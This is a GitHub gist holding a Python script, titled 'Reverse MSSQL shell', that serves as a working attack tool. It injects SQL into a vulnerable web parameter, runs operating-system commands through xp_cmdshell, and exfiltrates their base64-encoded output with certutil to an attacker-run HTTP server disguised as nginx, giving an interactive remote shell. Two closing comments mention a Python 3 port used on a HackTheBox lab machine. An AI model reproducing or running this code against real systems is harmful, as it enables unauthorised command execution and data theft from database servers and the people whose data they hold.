Skip to content

Instantly share code, notes, and snippets.

@xassiz
Created March 16, 2018 07:53
Show Gist options
  • Save xassiz/51f392afbe1c0374a008fa85d621455e to your computer and use it in GitHub Desktop.
Save xassiz/51f392afbe1c0374a008fa85d621455e to your computer and use it in GitHub Desktop.
Reverse MSSQL shell
import sys
import requests
import threading
import HTMLParser
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
'''
Description: Reverse MSSQL shell through xp_cmdshell + certutil for exfiltration
Author: @xassiz
'''
query_id = 0
target_url = "http://target/vulnerable.asp"
local_url = "http://attacker/"
local_port = 80
'''
Decoding functions
'''
b64_padding = lambda x: x.ljust(len(x) + (4 - len(x) % 4), '=')
def base64_dec(x):
try:
res = b64_padding(x).decode('base64')
except:
# Command output got truncated
if len(x)%4 > 0:
x = x[:-(len(x)%4)]
res = x.decode('base64')
return res
def decode(data):
parser = HTMLParser.HTMLParser()
try:
# We don't like Unicode strings, do we?
html = base64_dec(data).replace(chr(0),'')
except:
return '[-] decoding error'
return parser.unescape(html)
'''
Get command from stdin
'''
def get_command():
try:
cmd = raw_input(':\> ')
t = threading.Thread(target=send_command, args=(cmd,))
t.start()
except:
sys.exit(0)
'''
Create payload and send command: adapt this function to your needs
'''
def send_command(cmd):
global target_url, local_url
payload = "';"
payload += "declare @r varchar(4120),@cmdOutput varchar(4120);"
payload += "declare @res TABLE(line varchar(max));"
payload += "insert into @res exec xp_cmdshell '%s';"
payload += "set @cmdOutput=(select (select cast((select line+char(10) COLLATE SQL_Latin1_General_CP1253_CI_AI as 'text()' from @res for xml path('')) as varbinary(max))) for xml path(''),binary base64);"
payload += "set @r=concat('certutil -urlcache -f %s',@cmdOutput);"
payload += "exec xp_cmdshell @r;"
payload += "--"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"
h = {'User-Agent':user_agent}
# Customize from here
p = {
'param1':'foo',
'param2':'bar',
'vulnerable_param':payload % (cmd, local_url)
}
requests.get(target_url, headers=h, params=p)
'''
Custom HTTPServer
'''
class MyServer(HTTPServer):
def server_activate(self):
# get first command
get_command()
HTTPServer.server_activate(self)
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def log_request(self, *args, **kwargs):
return
def log_message(self, *args, **kwargs):
return
def do_GET(self):
global query_id
self.send_error(404)
# Certutil sends 2 requets each time
if query_id % 2 == 0:
output = self.path
# if command output, decode it!
if output != '/':
print decode(output[1:])
# get next command
get_command()
query_id += 1
'''
Main
'''
if __name__ == '__main__':
# Fake server behaviour
handler = SimpleHTTPRequestHandler
handler.server_version = 'nginx'
handler.sys_version = ''
handler.error_message_format = 'not found'
# Add SSL support if you wanna be a ninja!
httpd = MyServer(('0.0.0.0', local_port), handler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
@s0j0hn
Copy link

s0j0hn commented Apr 16, 2020

python 3 Version tested on Hackthebox Fighter https://gist.github.com/s0j0hn/ba2163e3f094b419c1d4480ae5dc9a66

@xassiz
Copy link
Author

xassiz commented Apr 17, 2020

Nice! Glad it was useful ;)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment